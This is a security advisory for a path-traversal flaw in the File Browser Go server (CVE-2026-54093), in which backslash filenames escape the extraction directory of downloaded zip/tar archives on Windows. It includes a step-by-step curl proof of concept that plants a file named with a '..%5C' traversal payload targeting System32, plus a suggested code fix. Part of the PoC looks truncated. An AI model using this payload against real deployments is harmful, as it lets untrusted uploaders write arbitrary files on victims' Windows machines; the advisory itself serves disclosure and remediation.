GitHub Advisoryadvisory · Go
GHSA-gxjx-7m74-hcq8 File Browser: FilePath traversal in download-as-zip/tar via Windows-style backslash separators in stored filenames
MEDIUM
Official page ↗
- Aliases
- CVE-2026-54093
- Ecosystem
- Go
- Packages
- github.com/filebrowser/filebrowser/v2, github.com/filebrowser/filebrowser
- Severity
- Moderate
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:N/SI:H/SA:L
- Weaknesses
- CWE-22
- Reviewed
- 2026-06-12
Affected packages
• Go github.com/filebrowser/filebrowser/v2: < 2.63.6 → fixed in 2.63.6
• Go github.com/filebrowser/filebrowser: <= 1.11.0 (no fix yet)
Description
Summary
filebrowser builds the download-as-zip / download-as-tar archive entry names with `filepath.ToSlash`, which on a Linux host is a no-op for backslashes (`\` is only a path separator on Windows). A file whose name contains Windows-style traversal (`..\..\..\evil.txt`) is accepted by the resource handlers, stored on the Linux filesystem with a literal backslash name, and then emitted verbatim as the archive entry name. Windows extractors (Explorer, 7-Zip, WinRAR, .NET `ZipFile.ExtractToDirectory`) interpret `\` as a path separator and write the extracted file outside the extraction directory — arbitrary file write on the victim who downloads and extracts the archive.
Details
`http/raw.go` `getFiles()` constructs the in-archive name and passes it to `github.com/mholt/[email protected]`:
```go
nameInArchive := strings.TrimPrefix(path, commonPath)
nameInArchive = strings.TrimPrefix(nameInArchive, string(filepath.Separator))
nameInArchive = filepath.ToSlash(nameInArchive) // Linux no-op: ToSlash only rewrites '\' on Windows
archiveFiles = append(archiveFiles, archives.FileInfo{
FileInfo: info,
NameInArchive: nameInArchive,
Open: func() (fs.File, error) { return d.user.Fs.Open(path) },
})
```
On Linux `filepath.Separator == '/'`, so `filepath.ToSlash` leaves any literal backslash in the stored filename untouched. `mholt/archives` `nameOnDiskToNameInArchive` then writes that name verbatim into the zip/tar central directory.
The filename reaches the filesystem because the resource create path (`http/resource.go` `resourcePostHandler`) derives the name from `r.URL.Path` and cleans it with `path.Clean("/" + ...)`, which treats only `/` as a separator. A URL-encoded backslash segment (`%5C`) therefore survives cleaning, and the file is created on the Linux FS with a literal `\` in its name. Any user with the Create permission (the default for new users, and signup-enabled instances let anyone self-register) can plant such a file.
PoC
Deployed against the official image `filebrowser/filebrowser:v2.63.5` (current release, 2026-05-21).
```bash
1. Deploy
docker volume create fb-srv-vol
docker run -d --name fb-poc -p 8088:80 -v fb-srv-vol:/srv filebrowser/filebrowser:v2.63.5
wait for /health == 200; read the generated admin password from `docker logs fb-poc`
PW=""
2. Authenticate
TOK=$(curl -s -X POST http://localhost:8088/api/login \
-H 'Content-Type: application/json' \
-d "{\"username\":\"admin\",\"password\":\"$PW\"}")
3. Create a folder, then a file whose NAME is a Windows traversal payload (backslash = %5C)
curl -s -o /dev/null -w "mkdir=%{http_code}\n" \
-X POST "http://localhost:8088/api/resources/evilzone/" -H "X-Auth: $TOK"
FNAME='..%5C..%5C..%5C..%5C..%5CWindows%5CSystem32%5Cevil.txt'
curl -s -o /dev/null -w "putfile=%{http_code}\n" \
-X POST "http://localhost:8088/api/resources/evilzone/${FNAME}?override=true" \
-H "X-Auth: $TOK" --data-binary 'PWNED-BY-TONGHUAROOT'
4. Download the folder as a zip and inspect the entry name
curl -s -o /tmp/fb_evil.zip "http://localhost:8088/api/raw/evilzone?algo=zip" -H "X-Auth: $TOK"
python3 - HTTP 301 (collapsed by path.Clean; nothing escapes)
```
This proves `/` is handled but `\` is the unhandled gap.
To observe the Windows-side traversal effect, extract `fb_evil.zip` on Windows:
```powershell
Expand-Archive -Path .\fb_evil.zip -DestinationPath .\out -Force
7-Zip / WinRAR with default settings honor the ..\ parents and write outside .\out
```
Impact
Arbitrary file write (CWE-22) on any party who downloads a folder/selection as an archive from filebrowser and extracts it on Windows. The attacker is any authenticated user with Create permission (or an anonymous user on signup-enabled instances); the victim is typically an administrator or another user who is given access to the attacker's directory (e.g. via a share) and downloads it as a zip/tar. Because filebrowser is frequently deployed as a multi-user file server, this crosses a trust boundary: a low-privileged or untrusted uploader can plant files that compromise the machine of anyone who downloads and extracts the archive on Windows (e.g. writing to Startup folders or overwriting executables/config in the extraction root's parent tree).
Affected versions
All current versions through v2.63.5 (verified against the v2.63.5 release image). The `filepath.ToSlash`-based normalization in `http/raw.go` `getFiles()` is the root cause; `github.com/mholt/[email protected]` passes the name through verbatim.
Suggested fix
Normalize Windows separators out of the in-archive name regardless of host OS, in `http/raw.go` `getFiles()` before constructing `archives.FileInfo`:
```go
nameInArchive = filepath.ToSlash(nameInArchive)
nameInArchive = strings.ReplaceAll(nameInArchive, "\\", "/") // strip Windows separators on any host
```
Optionally also reject or sanitize filenames containing `\` at create time in `http/resource.go` so backslash names cannot be stored at all. This mirrors the canonical fix for the equivalent Gotenberg issue, where POSIX-only `filepath.Base` likewise failed to strip backslashes on Linux.
Related
Alias · CVE (1)
- CVE-2026-54093 File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. vulnerability
Weakness · CWE (1)
- CWE-22 Improper Limitation of a Pathname to a Restricted Directory weakness